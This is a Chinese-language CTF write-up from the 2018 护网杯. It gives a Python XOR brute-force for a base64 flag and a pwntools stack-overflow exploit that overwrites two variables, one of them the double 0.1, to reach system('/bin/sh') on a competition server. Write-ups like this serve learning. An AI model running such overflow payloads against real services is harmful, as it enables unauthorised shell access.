护网杯writeup以及赛后反思

原创

木木or沐沐 于 2018-10-13 23:21:30 发布
文章标签： ctf

迟来的签到题

这个题目给了一个base64加密过的字符串，还有题目的提示信息是easy xor？？？猜想是先将这个字符串解密然后和一个数来异或，但是不知道和谁异或，所以就采用了爆破的方式来爆破出异或的值和flag。

解题脚本：

```
#conding=utf-8
import base64 as bs
s="AAoHAR0jJ1AlVVEkU1BUVCAlIlFTUVUiUFRTVFVeU1FXUCVUJxs="
st=list(bs.b64decode(s))
print st
for j in range(255):
    stt=""
    for i in range(len(st)):
        stt+=chr(ord(st[i])^j)
    if "flag" in stt:
        print(stt)
        print(j)
```

pwn getstart

这个题搞了好久，看到题目开了各种保护措施，然后就一直想用ROP绕过，最后也没搞出来，看到群里大佬share的writeup，发现根本就不用绕过这些保护措施，直接利用栈溢出漏洞来覆盖v7,v8的值，使其满足判断条件，就直接可以执行system("/bin/sh")了。

if (v7 = 0x7FFFFFFFFFFFFFFFLL || v8 = 0.1)

v8的值可以这样来做：0x3fb999999999999a 内存存储方式
=> 00111111 10111001 10011001 ... 10011001 10011010 二进制展开
=>0|0111111 1011|1001 10011001 ... 10011001 10011010 分割区域
=>0|0111111 1011|11001 10011001 ... 10011001 10011010 补整数1
=>提取符号位0，指数位去偏移-4，尾数1.10011001....
=>0.000110011...=>0*2^1 + 0*2^-1 + 0*2^-2 + 0*2^-3 + 1*2^-4 + 1*2^-5....
=>0.0625 + 0.03125 + ...
求值过程会发现，浮点运算是有精度丢失的问题的，因为 0.1 这种表达是一个近似值。

-0000000000000030 buf dq ?

0000000000000018 v7 dq ?

所以要填充(0x30-0x18)个字节

具体payload的如下：

```
from pwn import *
r=remote("49.4.9.11","32682")
r.recv()
payload=(0x30-0x18)*'a'+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3fb999999999999a)
r.sendline(payload)
r.interactive()
```